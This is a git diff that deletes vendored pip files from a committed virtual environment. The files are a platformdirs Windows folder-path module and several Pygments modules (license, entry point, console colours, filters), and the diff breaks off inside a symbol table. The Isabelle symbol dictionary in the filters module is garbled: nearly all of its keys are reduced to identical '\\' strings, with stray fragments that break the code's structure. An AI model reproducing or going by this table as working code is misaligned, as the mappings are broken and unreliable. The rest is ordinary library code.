-            ("Data2", wintypes.WORD),
-            ("Data3", wintypes.WORD),
-            ("Data4", wintypes.BYTE * 8),
-        ]
-
-    ole32 = WinDLL("ole32")
-    ole32.CLSIDFromString.restype = HRESULT
-    ole32.CLSIDFromString.argtypes = [wintypes.LPCOLESTR, POINTER(_GUID)]
-    ole32.CoTaskMemFree.restype = None
-    ole32.CoTaskMemFree.argtypes = [wintypes.LPVOID]
-
-    shell32 = WinDLL("shell32")
-    shell32.SHGetKnownFolderPath.restype = HRESULT
-    shell32.SHGetKnownFolderPath.argtypes = [POINTER(_GUID), wintypes.DWORD, wintypes.HANDLE, POINTER(wintypes.LPWSTR)]
-
-    kernel32 = WinDLL("kernel32")
-    kernel32.GetShortPathNameW.restype = wintypes.DWORD
-    kernel32.GetShortPathNameW.argtypes = [wintypes.LPWSTR, wintypes.LPWSTR, wintypes.DWORD]
-
-    folder_guid = _KNOWN_FOLDER_GUIDS.get(csidl_name)
-    if folder_guid is None:
-        msg = f"Unknown CSIDL name: {csidl_name}"
-        raise ValueError(msg)
-
-    guid = _GUID()
-    ole32.CLSIDFromString(folder_guid, byref(guid))
-
-    path_ptr = wintypes.LPWSTR()
-    shell32.SHGetKnownFolderPath(byref(guid), _KF_FLAG_DONT_VERIFY, None, byref(path_ptr))
-    result = path_ptr.value
-    ole32.CoTaskMemFree(path_ptr)
-
-    if result is None:
-        msg = f"SHGetKnownFolderPath returned NULL for {csidl_name}"
-        raise ValueError(msg)
-
-    if any(ord(c) > 255 for c in result):  # noqa: PLR2004
-        buf = create_unicode_buffer(1024)
-        if kernel32.GetShortPathNameW(result, buf, 1024):
-            result = buf.value
-
-    return result
-
-
-def _pick_get_win_folder() -> Callable[[str], str]:
-    """Select the best method to resolve Windows folder paths: ctypes, then registry, then environment variables."""
-    try:
-        import ctypes  # noqa: PLC0415, F401
-    except ImportError:
-        pass
-    else:
-        return get_win_folder_via_ctypes
-    try:
-        import winreg  # noqa: PLC0415, F401
-    except ImportError:
-        return get_win_folder_from_env_vars
-    else:
-        return get_win_folder_from_registry
-
-
-_resolve_win_folder = _pick_get_win_folder()
-
-
-def get_win_folder(csidl_name: str) -> str:
-    """Get a Windows folder path, checking for ``WIN_PD_OVERRIDE_*`` environment variable overrides first.
-
-    For example, ``CSIDL_LOCAL_APPDATA`` can be overridden by setting ``WIN_PD_OVERRIDE_LOCAL_APPDATA``.
-
-    """
-    env_var = f"WIN_PD_OVERRIDE_{csidl_name.removeprefix('CSIDL_')}"
-    if override := os.environ.get(env_var, "").strip():
-        return override
-    return _resolve_win_folder(csidl_name)
-
-
-__all__ = [
-    "Windows",
-]
diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/LICENSE b/venv/Lib/site-packages/pip/_vendor/pygments/LICENSE
deleted file mode 100644
index 446a1a805c8a949579fb8a9799f2bec7777349dc..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/pygments/LICENSE
+++ /dev/null
@@ -1,25 +0,0 @@
-Copyright (c) 2006-2022 by the respective authors (see AUTHORS file).
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-* Redistributions of source code must retain the above copyright
-  notice, this list of conditions and the following disclaimer.
-
-* Redistributions in binary form must reproduce the above copyright
-  notice, this list of conditions and the following disclaimer in the
-  documentation and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/__init__.py b/venv/Lib/site-packages/pip/_vendor/pygments/__init__.py
deleted file mode 100644
index 974f5bb8b6358b9de73115084e048c5ee67238ad..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/pygments/__init__.py
+++ /dev/null
@@ -1,82 +0,0 @@
-"""
-    Pygments
-    ~~~~~~~~
-
-    Pygments is a syntax highlighting package written in Python.
-
-    It is a generic syntax highlighter for general use in all kinds of software
-    such as forum systems, wikis or other applications that need to prettify
-    source code. Highlights are:
-
-    * a wide range of common languages and markup formats is supported
-    * special attention is paid to details, increasing quality by a fair amount
-    * support for new languages and formats are added easily
-    * a number of output formats, presently HTML, LaTeX, RTF, SVG, all image
-      formats that PIL supports, and ANSI sequences
-    * it is usable as a command-line tool and as a library
-    * ... and it highlights even Brainfuck!
-
-    The `Pygments master branch`_ is installable with ``easy_install Pygments==dev``.
-
-    .. _Pygments master branch:
-       https://github.com/pygments/pygments/archive/master.zip#egg=Pygments-dev
-
-    :copyright: Copyright 2006-present by the Pygments team, see AUTHORS.
-    :license: BSD, see LICENSE for details.
-"""
-from io import StringIO, BytesIO
-
-__version__ = '2.20.0'
-__docformat__ = 'restructuredtext'
-
-__all__ = ['lex', 'format', 'highlight']
-
-
-def lex(code, lexer):
-    """
-    Lex `code` with the `lexer` (must be a `Lexer` instance)
-    and return an iterable of tokens. Currently, this only calls
-    `lexer.get_tokens()`.
-    """
-    try:
-        return lexer.get_tokens(code)
-    except TypeError:
-        # Heuristic to catch a common mistake.
-        from pip._vendor.pygments.lexer import RegexLexer
-        if isinstance(lexer, type) and issubclass(lexer, RegexLexer):
-            raise TypeError('lex() argument must be a lexer instance, '
-                            'not a class')
-        raise
-
-
-def format(tokens, formatter, outfile=None):  # pylint: disable=redefined-builtin
-    """
-    Format ``tokens`` (an iterable of tokens) with the formatter ``formatter``
-    (a `Formatter` instance).
-
-    If ``outfile`` is given and a valid file object (an object with a
-    ``write`` method), the result will be written to it, otherwise it
-    is returned as a string.
-    """
-    try:
-        if not outfile:
-            realoutfile = getattr(formatter, 'encoding', None) and BytesIO() or StringIO()
-            formatter.format(tokens, realoutfile)
-            return realoutfile.getvalue()
-        else:
-            formatter.format(tokens, outfile)
-    except TypeError:
-        # Heuristic to catch a common mistake.
-        from pip._vendor.pygments.formatter import Formatter
-        if isinstance(formatter, type) and issubclass(formatter, Formatter):
-            raise TypeError('format() argument must be a formatter instance, '
-                            'not a class')
-        raise
-
-
-def highlight(code, lexer, formatter, outfile=None):
-    """
-    This is the most high-level highlighting function. It combines `lex` and
-    `format` in one function.
-    """
-    return format(lex(code, lexer), formatter, outfile)
diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/__main__.py b/venv/Lib/site-packages/pip/_vendor/pygments/__main__.py
deleted file mode 100644
index bdafd1a436f8b536e5bcef48606178acc675d489..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/pygments/__main__.py
+++ /dev/null
@@ -1,17 +0,0 @@
-"""
-    pygments.__main__
-    ~~~~~~~~~~~~~~~~~
-
-    Main entry point for ``python -m pygments``.
-
-    :copyright: Copyright 2006-present by the Pygments team, see AUTHORS.
-    :license: BSD, see LICENSE for details.
-"""
-
-import sys
-from pip._vendor.pygments.cmdline import main
-
-try:
-    sys.exit(main(sys.argv))
-except KeyboardInterrupt:
-    sys.exit(1)
diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/console.py b/venv/Lib/site-packages/pip/_vendor/pygments/console.py
deleted file mode 100644
index d9009168cadbe25ba0bb1fc5427a5db0f1582830..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/pygments/console.py
+++ /dev/null
@@ -1,70 +0,0 @@
-"""
-    pygments.console
-    ~~~~~~~~~~~~~~~~
-
-    Format colored console output.
-
-    :copyright: Copyright 2006-present by the Pygments team, see AUTHORS.
-    :license: BSD, see LICENSE for details.
-"""
-
-esc = "\x1b["
-
-codes = {}
-codes[""] = ""
-codes["reset"] = esc + "39;49;00m"
-
-codes["bold"] = esc + "01m"
-codes["faint"] = esc + "02m"
-codes["standout"] = esc + "03m"
-codes["underline"] = esc + "04m"
-codes["blink"] = esc + "05m"
-codes["overline"] = esc + "06m"
-
-dark_colors = ["black", "red", "green", "yellow", "blue",
-               "magenta", "cyan", "gray"]
-light_colors = ["brightblack", "brightred", "brightgreen", "brightyellow", "brightblue",
-                "brightmagenta", "brightcyan", "white"]
-
-x = 30
-for dark, light in zip(dark_colors, light_colors):
-    codes[dark] = esc + "%im" % x
-    codes[light] = esc + "%im" % (60 + x)
-    x += 1
-
-del dark, light, x
-
-codes["white"] = codes["bold"]
-
-
-def reset_color():
-    return codes["reset"]
-
-
-def colorize(color_key, text):
-    return codes[color_key] + text + codes["reset"]
-
-
-def ansiformat(attr, text):
-    """
-    Format ``text`` with a color and/or some attributes::
-
-        color       normal color
-        *color*     bold color
-        _color_     underlined color
-        +color+     blinking color
-    """
-    result = []
-    if attr[:1] == attr[-1:] == '+':
-        result.append(codes['blink'])
-        attr = attr[1:-1]
-    if attr[:1] == attr[-1:] == '*':
-        result.append(codes['bold'])
-        attr = attr[1:-1]
-    if attr[:1] == attr[-1:] == '_':
-        result.append(codes['underline'])
-        attr = attr[1:-1]
-    result.append(codes[attr])
-    result.append(text)
-    result.append(codes['reset'])
-    return ''.join(result)
diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/filter.py b/venv/Lib/site-packages/pip/_vendor/pygments/filter.py
deleted file mode 100644
index 6c926c26cfcf0ca7579f05affcab46c389595b71..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/pygments/filter.py
+++ /dev/null
@@ -1,70 +0,0 @@
-"""
-    pygments.filter
-    ~~~~~~~~~~~~~~~
-
-    Module that implements the default filter.
-
-    :copyright: Copyright 2006-present by the Pygments team, see AUTHORS.
-    :license: BSD, see LICENSE for details.
-"""
-
-
-def apply_filters(stream, filters, lexer=None):
-    """
-    Use this method to apply an iterable of filters to
-    a stream. If lexer is given it's forwarded to the
-    filter, otherwise the filter receives `None`.
-    """
-    def _apply(filter_, stream):
-        yield from filter_.filter(lexer, stream)
-    for filter_ in filters:
-        stream = _apply(filter_, stream)
-    return stream
-
-
-def simplefilter(f):
-    """
-    Decorator that converts a function into a filter::
-
-        @simplefilter
-        def lowercase(self, lexer, stream, options):
-            for ttype, value in stream:
-                yield ttype, value.lower()
-    """
-    return type(f.__name__, (FunctionFilter,), {
-        '__module__': getattr(f, '__module__'),
-        '__doc__': f.__doc__,
-        'function': f,
-    })
-
-
-class Filter:
-    """
-    Default filter. Subclass this class or use the `simplefilter`
-    decorator to create own filters.
-    """
-
-    def __init__(self, **options):
-        self.options = options
-
-    def filter(self, lexer, stream):
-        raise NotImplementedError()
-
-
-class FunctionFilter(Filter):
-    """
-    Abstract class used by `simplefilter` to create simple
-    function filters on the fly. The `simplefilter` decorator
-    automatically creates subclasses of this class for
-    functions passed to it.
-    """
-    function = None
-
-    def __init__(self, **options):
-        if not hasattr(self, 'function'):
-            raise TypeError(f'{self.__class__.__name__!r} used without bound function')
-        Filter.__init__(self, **options)
-
-    def filter(self, lexer, stream):
-        # pylint: disable=not-callable
-        yield from self.function(lexer, stream, self.options)
diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/filters/__init__.py b/venv/Lib/site-packages/pip/_vendor/pygments/filters/__init__.py
deleted file mode 100644
index 01e320741bc6197045cf0f4bcdb0bf787e724e01..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/pygments/filters/__init__.py
+++ /dev/null
@@ -1,942 +0,0 @@
-"""
-    pygments.filters
-    ~~~~~~~~~~~~~~~~
-
-    Module containing filter lookup functions and default
-    filters.
-
-    :copyright: Copyright 2006-present by the Pygments team, see AUTHORS.
-    :license: BSD, see LICENSE for details.
-"""
-
-import re
-
-from pip._vendor.pygments.token import String, Comment, Keyword, Name, Error, Whitespace, \
-    string_to_tokentype
-from pip._vendor.pygments.filter import Filter
-from pip._vendor.pygments.util import get_list_opt, get_int_opt, get_bool_opt, \
-    get_choice_opt, ClassNotFound, OptionError
-from pip._vendor.pygments.plugin import find_plugin_filters
-
-
-def find_filter_class(filtername):
-    """Lookup a filter by name. Return None if not found."""
-    if filtername in FILTERS:
-        return FILTERS[filtername]
-    for name, cls in find_plugin_filters():
-        if name == filtername:
-            return cls
-    return None
-
-
-def get_filter_by_name(filtername, **options):
-    """Return an instantiated filter.
-
-    Options are passed to the filter initializer if wanted.
-    Raise a ClassNotFound if not found.
-    """
-    cls = find_filter_class(filtername)
-    if cls:
-        return cls(**options)
-    else:
-        raise ClassNotFound(f'filter {filtername!r} not found')
-
-
-def get_all_filters():
-    """Return a generator of all filter names."""
-    yield from FILTERS
-    for name, _ in find_plugin_filters():
-        yield name
-
-
-def _replace_special(ttype, value, regex, specialttype,
-                     replacefunc=lambda x: x):
-    last = 0
-    for match in regex.finditer(value):
-        start, end = match.start(), match.end()
-        if start != last:
-            yield ttype, value[last:start]
-        yield specialttype, replacefunc(value[start:end])
-        last = end
-    if last != len(value):
-        yield ttype, value[last:]
-
-
-class CodeTagFilter(Filter):
-    """Highlight special code tags in comments and docstrings.
-
-    Options accepted:
-
-    `codetags` : list of strings
-       A list of strings that are flagged as code tags.  The default is to
-       highlight ``XXX``, ``TODO``, ``FIXME``, ``BUG`` and ``NOTE``.
-
-    .. versionchanged:: 2.13
-       Now recognizes ``FIXME`` by default.
-    """
-
-    def __init__(self, **options):
-        Filter.__init__(self, **options)
-        tags = get_list_opt(options, 'codetags',
-                            ['XXX', 'TODO', 'FIXME', 'BUG', 'NOTE'])
-        self.tag_re = re.compile(r'\b({})\b'.format('|'.join([
-            re.escape(tag) for tag in tags if tag
-        ])))
-
-    def filter(self, lexer, stream):
-        regex = self.tag_re
-        for ttype, value in stream:
-            if ttype in String.Doc or \
-               ttype in Comment and \
-               ttype not in Comment.Preproc:
-                yield from _replace_special(ttype, value, regex, Comment.Special)
-            else:
-                yield ttype, value
-
-
-class SymbolFilter(Filter):
-    """Convert mathematical symbols into Unicode characters.
-
-    Examples are ``\\`` in Isabelle or
-    ``\\longrightarrow`` in LaTeX.
-
-    This is mostly useful for HTML or console output when you want to
-    approximate the source rendering you'd see in an IDE.
-
-    Options accepted:
-
-    `lang` : string
-       The symbol language. Must be one of ``'isabelle'`` or
-       ``'latex'``.  The default is ``'isabelle'``.
-    """
-
-    latex_symbols = {
-        '\\alpha'                : '\U000003b1',
-        '\\beta'                 : '\U000003b2',
-        '\\gamma'                : '\U000003b3',
-        '\\delta'                : '\U000003b4',
-        '\\varepsilon'           : '\U000003b5',
-        '\\zeta'                 : '\U000003b6',
-        '\\eta'                  : '\U000003b7',
-        '\\vartheta'             : '\U000003b8',
-        '\\iota'                 : '\U000003b9',
-        '\\kappa'                : '\U000003ba',
-        '\\lambda'               : '\U000003bb',
-        '\\mu'                   : '\U000003bc',
-        '\\nu'                   : '\U000003bd',
-        '\\xi'                   : '\U000003be',
-        '\\pi'                   : '\U000003c0',
-        '\\varrho'               : '\U000003c1',
-        '\\sigma'                : '\U000003c3',
-        '\\tau'                  : '\U000003c4',
-        '\\upsilon'              : '\U000003c5',
-        '\\varphi'               : '\U000003c6',
-        '\\chi'                  : '\U000003c7',
-        '\\psi'                  : '\U000003c8',
-        '\\omega'                : '\U000003c9',
-        '\\Gamma'                : '\U00000393',
-        '\\Delta'                : '\U00000394',
-        '\\Theta'                : '\U00000398',
-        '\\Lambda'               : '\U0000039b',
-        '\\Xi'                   : '\U0000039e',
-        '\\Pi'                   : '\U000003a0',
-        '\\Sigma'                : '\U000003a3',
-        '\\Upsilon'              : '\U000003a5',
-        '\\Phi'                  : '\U000003a6',
-        '\\Psi'                  : '\U000003a8',
-        '\\Omega'                : '\U000003a9',
-        '\\leftarrow'            : '\U00002190',
-        '\\longleftarrow'        : '\U000027f5',
-        '\\rightarrow'           : '\U00002192',
-        '\\longrightarrow'       : '\U000027f6',
-        '\\Leftarrow'            : '\U000021d0',
-        '\\Longleftarrow'        : '\U000027f8',
-        '\\Rightarrow'           : '\U000021d2',
-        '\\Longrightarrow'       : '\U000027f9',
-        '\\leftrightarrow'       : '\U00002194',
-        '\\longleftrightarrow'   : '\U000027f7',
-        '\\Leftrightarrow'       : '\U000021d4',
-        '\\Longleftrightarrow'   : '\U000027fa',
-        '\\mapsto'               : '\U000021a6',
-        '\\longmapsto'           : '\U000027fc',
-        '\\relbar'               : '\U00002500',
-        '\\Relbar'               : '\U00002550',
-        '\\hookleftarrow'        : '\U000021a9',
-        '\\hookrightarrow'       : '\U000021aa',
-        '\\leftharpoondown'      : '\U000021bd',
-        '\\rightharpoondown'     : '\U000021c1',
-        '\\leftharpoonup'        : '\U000021bc',
-        '\\rightharpoonup'       : '\U000021c0',
-        '\\rightleftharpoons'    : '\U000021cc',
-        '\\leadsto'              : '\U0000219d',
-        '\\downharpoonleft'      : '\U000021c3',
-        '\\downharpoonright'     : '\U000021c2',
-        '\\upharpoonleft'        : '\U000021bf',
-        '\\upharpoonright'       : '\U000021be',
-        '\\restriction'          : '\U000021be',
-        '\\uparrow'              : '\U00002191',
-        '\\Uparrow'              : '\U000021d1',
-        '\\downarrow'            : '\U00002193',
-        '\\Downarrow'            : '\U000021d3',
-        '\\updownarrow'          : '\U00002195',
-        '\\Updownarrow'          : '\U000021d5',
-        '\\langle'               : '\U000027e8',
-        '\\rangle'               : '\U000027e9',
-        '\\lceil'                : '\U00002308',
-        '\\rceil'                : '\U00002309',
-        '\\lfloor'               : '\U0000230a',
-        '\\rfloor'               : '\U0000230b',
-        '\\flqq'                 : '\U000000ab',
-        '\\frqq'                 : '\U000000bb',
-        '\\bot'                  : '\U000022a5',
-        '\\top'                  : '\U000022a4',
-        '\\wedge'                : '\U00002227',
-        '\\bigwedge'             : '\U000022c0',
-        '\\vee'                  : '\U00002228',
-        '\\bigvee'               : '\U000022c1',
-        '\\forall'               : '\U00002200',
-        '\\exists'               : '\U00002203',
-        '\\nexists'              : '\U00002204',
-        '\\neg'                  : '\U000000ac',
-        '\\Box'                  : '\U000025a1',
-        '\\Diamond'              : '\U000025c7',
-        '\\vdash'                : '\U000022a2',
-        '\\models'               : '\U000022a8',
-        '\\dashv'                : '\U000022a3',
-        '\\surd'                 : '\U0000221a',
-        '\\le'                   : '\U00002264',
-        '\\ge'                   : '\U00002265',
-        '\\ll'                   : '\U0000226a',
-        '\\gg'                   : '\U0000226b',
-        '\\lesssim'              : '\U00002272',
-        '\\gtrsim'               : '\U00002273',
-        '\\lessapprox'           : '\U00002a85',
-        '\\gtrapprox'            : '\U00002a86',
-        '\\in'                   : '\U00002208',
-        '\\notin'                : '\U00002209',
-        '\\subset'               : '\U00002282',
-        '\\supset'               : '\U00002283',
-        '\\subseteq'             : '\U00002286',
-        '\\supseteq'             : '\U00002287',
-        '\\sqsubset'             : '\U0000228f',
-        '\\sqsupset'             : '\U00002290',
-        '\\sqsubseteq'           : '\U00002291',
-        '\\sqsupseteq'           : '\U00002292',
-        '\\cap'                  : '\U00002229',
-        '\\bigcap'               : '\U000022c2',
-        '\\cup'                  : '\U0000222a',
-        '\\bigcup'               : '\U000022c3',
-        '\\sqcup'                : '\U00002294',
-        '\\bigsqcup'             : '\U00002a06',
-        '\\sqcap'                : '\U00002293',
-        '\\Bigsqcap'             : '\U00002a05',
-        '\\setminus'             : '\U00002216',
-        '\\propto'               : '\U0000221d',
-        '\\uplus'                : '\U0000228e',
-        '\\bigplus'              : '\U00002a04',
-        '\\sim'                  : '\U0000223c',
-        '\\doteq'                : '\U00002250',
-        '\\simeq'                : '\U00002243',
-        '\\approx'               : '\U00002248',
-        '\\asymp'                : '\U0000224d',
-        '\\cong'                 : '\U00002245',
-        '\\equiv'                : '\U00002261',
-        '\\Join'                 : '\U000022c8',
-        '\\bowtie'               : '\U00002a1d',
-        '\\prec'                 : '\U0000227a',
-        '\\succ'                 : '\U0000227b',
-        '\\preceq'               : '\U0000227c',
-        '\\succeq'               : '\U0000227d',
-        '\\parallel'             : '\U00002225',
-        '\\mid'                  : '\U000000a6',
-        '\\pm'                   : '\U000000b1',
-        '\\mp'                   : '\U00002213',
-        '\\times'                : '\U000000d7',
-        '\\div'                  : '\U000000f7',
-        '\\cdot'                 : '\U000022c5',
-        '\\star'                 : '\U000022c6',
-        '\\circ'                 : '\U00002218',
-        '\\dagger'               : '\U00002020',
-        '\\ddagger'              : '\U00002021',
-        '\\lhd'                  : '\U000022b2',
-        '\\rhd'                  : '\U000022b3',
-        '\\unlhd'                : '\U000022b4',
-        '\\unrhd'                : '\U000022b5',
-        '\\triangleleft'         : '\U000025c3',
-        '\\triangleright'        : '\U000025b9',
-        '\\triangle'             : '\U000025b3',
-        '\\triangleq'            : '\U0000225c',
-        '\\oplus'                : '\U00002295',
-        '\\bigoplus'             : '\U00002a01',
-        '\\otimes'               : '\U00002297',
-        '\\bigotimes'            : '\U00002a02',
-        '\\odot'                 : '\U00002299',
-        '\\bigodot'              : '\U00002a00',
-        '\\ominus'               : '\U00002296',
-        '\\oslash'               : '\U00002298',
-        '\\dots'                 : '\U00002026',
-        '\\cdots'                : '\U000022ef',
-        '\\sum'                  : '\U00002211',
-        '\\prod'                 : '\U0000220f',
-        '\\coprod'               : '\U00002210',
-        '\\infty'                : '\U0000221e',
-        '\\int'                  : '\U0000222b',
-        '\\oint'                 : '\U0000222e',
-        '\\clubsuit'             : '\U00002663',
-        '\\diamondsuit'          : '\U00002662',
-        '\\heartsuit'            : '\U00002661',
-        '\\spadesuit'            : '\U00002660',
-        '\\aleph'                : '\U00002135',
-        '\\emptyset'             : '\U00002205',
-        '\\nabla'                : '\U00002207',
-        '\\partial'              : '\U00002202',
-        '\\flat'                 : '\U0000266d',
-        '\\natural'              : '\U0000266e',
-        '\\sharp'                : '\U0000266f',
-        '\\angle'                : '\U00002220',
-        '\\copyright'            : '\U000000a9',
-        '\\textregistered'       : '\U000000ae',
-        '\\textonequarter'       : '\U000000bc',
-        '\\textonehalf'          : '\U000000bd',
-        '\\textthreequarters'    : '\U000000be',
-        '\\textordfeminine'      : '\U000000aa',
-        '\\textordmasculine'     : '\U000000ba',
-        '\\euro'                 : '\U000020ac',
-        '\\pounds'               : '\U000000a3',
-        '\\yen'                  : '\U000000a5',
-        '\\textcent'             : '\U000000a2',
-        '\\textcurrency'         : '\U000000a4',
-        '\\textdegree'           : '\U000000b0',
-    }
-
-    isabelle_symbols = {
-        '\\'                 : '\U0001d7ec',
-        '\\'                  : '\U0001d7ed',
-        '\\'                  : '\U0001d7ee',
-        '\\'                : '\U0001d7ef',
-        '\\'                 : '\U0001d7f0',
-        '\\'                 : '\U0001d7f1',
-        '\\'                  : '\U0001d7f2',
-        '\\'                : '\U0001d7f3',
-        '\\'                : '\U0001d7f4',
-        '\\'                 : '\U0001d7f5',
-        '\\'                    : '\U0001d49c',
-        '\\'                    : '\U0000212c',
-        '\\'                    : '\U0001d49e',
-        '\\'                    : '\U0001d49f',
-        '\\'                    : '\U00002130',
-        '\\'                    : '\U00002131',
-        '\\'                    : '\U0001d4a2',
-        '\\'                    : '\U0000210b',
-        '\\'                    : '\U00002110',
-        '\\'                    : '\U0001d4a5',
-        '\\'                    : '\U0001d4a6',
-        '\\'                    : '\U00002112',
-        '\\'                    : '\U00002133',
-        '\\'                    : '\U0001d4a9',
-        '\\'                    : '\U0001d4aa',
-        '\\

' : '\U0001d5c9', - '\\' : '\U0001d5ca', - '\\' : '\U0001d5cb', - '\\' : '\U0001d5cc', - '\\' : '\U0001d5cd', - '\\' : '\U0001d5ce', - '\\' : '\U0001d5cf', - '\\' : '\U0001d5d0', - '\\' : '\U0001d5d1', - '\\' : '\U0001d5d2', - '\\' : '\U0001d5d3', - '\\' : '\U0001d504', - '\\' : '\U0001d505', - '\\' : '\U0000212d', - '\\

' : '\U0001d507', - '\\' : '\U0001d508', - '\\' : '\U0001d509', - '\\' : '\U0001d50a', - '\\' : '\U0000210c', - '\\' : '\U00002111', - '\\' : '\U0001d50d', - '\\' : '\U0001d50e', - '\\' : '\U0001d50f', - '\\' : '\U0001d510', - '\\' : '\U0001d511', - '\\' : '\U0001d512', - '\\' : '\U0001d513', - '\\' : '\U0001d514', - '\\' : '\U0000211c', - '\\' : '\U0001d516', - '\\' : '\U0001d517', - '\\' : '\U0001d518', - '\\' : '\U0001d519', - '\\' : '\U0001d51a', - '\\' : '\U0001d51b', - '\\' : '\U0001d51c', - '\\' : '\U00002128', - '\\' : '\U0001d51e', - '\\' : '\U0001d51f', - '\\' : '\U0001d520', - '\\
' : '\U0001d521', - '\\' : '\U0001d522', - '\\' : '\U0001d523', - '\\' : '\U0001d524', - '\\' : '\U0001d525', - '\\' : '\U0001d526', - '\\' : '\U0001d527', - '\\' : '\U0001d528', - '\\' : '\U0001d529', - '\\' : '\U0001d52a', - '\\' : '\U0001d52b', - '\\' : '\U0001d52c', - '\\' : '\U0001d52d', - '\\' : '\U0001d52e', - '\\' : '\U0001d52f', - '\\' : '\U0001d530', - '\\' : '\U0001d531', - '\\' : '\U0001d532', - '\\' : '\U0001d533', - '\\' : '\U0001d534', - '\\' : '\U0001d535', - '\\' : '\U0001d536', - '\\' : '\U0001d537', - '\\' : '\U000003b1', - '\\' : '\U000003b2', - '\\' : '\U000003b3', - '\\' : '\U000003b4', - '\\' : '\U000003b5', - '\\' : '\U000003b6', - '\\' : '\U000003b7', - '\\' : '\U000003b8', - '\\' : '\U000003b9', - '\\' : '\U000003ba', - '\\' : '\U000003bb', - '\\' : '\U000003bc', - '\\' : '\U000003bd', - '\\' : '\U000003be', - '\\' : '\U000003c0', - '\\' : '\U000003c1', - '\\' : '\U000003c3', - '\\' : '\U000003c4', - '\\' : '\U000003c5', - '\\' : '\U000003c6', - '\\' : '\U000003c7', - '\\' : '\U000003c8', - '\\' : '\U000003c9', - '\\' : '\U00000393', - '\\' : '\U00000394', - '\\' : '\U00000398', - '\\' : '\U0000039b', - '\\' : '\U0000039e', - '\\' : '\U000003a0', - '\\' : '\U000003a3', - '\\' : '\U000003a5', - '\\' : '\U000003a6', - '\\' : '\U000003a8', - '\\' : '\U000003a9', - '\\' : '\U0001d539', - '\\' : '\U00002102', - '\\' : '\U00002115', - '\\' : '\U0000211a', - '\\' : '\U0000211d', - '\\' : '\U00002124', - '\\' : '\U00002190', - '\\' : '\U000027f5', - '\\' : '\U00002192', - '\\' : '\U000027f6', - '\\' : '\U000021d0', - '\\' : '\U000027f8', - '\\' : '\U000021d2', - '\\' : '\U000027f9', - '\\' : '\U00002194', - '\\' : '\U000027f7', - '\\' : '\U000021d4', - '\\' : '\U000027fa', - '\\' : '\U000021a6', - '\\' : '\U000027fc', - '\\' : '\U00002500', - '\\' : '\U00002550', - '\\' : '\U000021a9', - '\\' : '\U000021aa', - '\\' : '\U000021bd', - '\\' : '\U000021c1', - '\\' : '\U000021bc', - '\\' : '\U000021c0', - '\\' : '\U000021cc', - '\\' : '\U0000219d', - '\\' : '\U000021c3', - '\\' : '\U000021c2', - '\\' : '\U000021bf', - '\\' : '\U000021be', - '\\' : '\U000021be', - '\\' : '\U00002237', - '\\' : '\U00002191', - '\\' : '\U000021d1', - '\\' : '\U00002193', - '\\' : '\U000021d3', - '\\' : '\U00002195', - '\\' : '\U000021d5', - '\\' : '\U000027e8', - '\\' : '\U000027e9', - '\\' : '\U00002308', - '\\' : '\U00002309', - '\\' : '\U0000230a', - '\\' : '\U0000230b', - '\\' : '\U00002987', - '\\' : '\U00002988', - '\\' : '\U000027e6', - '\\' : '\U000027e7', - '\\' : '\U00002983', - '\\' : '\U00002984', - '\\' : '\U000000ab', - '\\' : '\U000000bb', - '\\' : '\U000022a5', - '\\' : '\U000022a4', - '\\' : '\U00002227', - '\\' : '\U000022c0', - '\\' : '\U00002228', - '\\' : '\U000022c1', - '\\' : '\U00002200', - '\\' : '\U00002203', - '\\' : '\U00002204', - '\\' : '\U000000ac', - '\\' : '\U000025a1', - '\\' : '\U000025c7', - '\\' : '\U000022a2', - '\\' : '\U000022a8', - '\\' : '\U000022a9', - '\\' : '\U000022ab', - '\\' : '\U000022a3', - '\\' : '\U0000221a', - '\\' : '\U00002264', - '\\' : '\U00002265', - '\\' : '\U0000226a', - '\\' : '\U0000226b', - '\\' : '\U00002272', - '\\' : '\U00002273', - '\\' : '\U00002a85', - '\\' : '\U00002a86', - '\\' : '\U00002208', - '\\' : '\U00002209', - '\\' : '\U00002282', - '\\' : '\U00002283', - '\\' : '\U00002286', - '\\' : '\U00002287', - '\\' : '\U0000228f', - '\\' : '\U00002290', - '\\' : '\U00002291', - '\\' : '\U00002292', - '\\' : '\U00002229', - '\\' : '\U000022c2', - '\\' : '\U0000222a', - '\\' : '\U000022c3', - '\\' : '\U00002294', - '\\' : '\U00002a06', - '\\' : '\U00002293', - '\\' : '\U00002a05', - '\\' : '\U00002216', - '\\' : '\U0000221d', - '\\' : '\U0000228e', - '\\' : '\U00002a04', - '\\' : '\U00002260', - '\\' : '\U0000223c', - '\\' : '\U00002250', - '\\' : '\U00002243', - '\\' : '\U00002248', - '\\' : '\U0000224d', - '\\' : '\U00002245', - '\\' : '\U00002323', - '\\' : 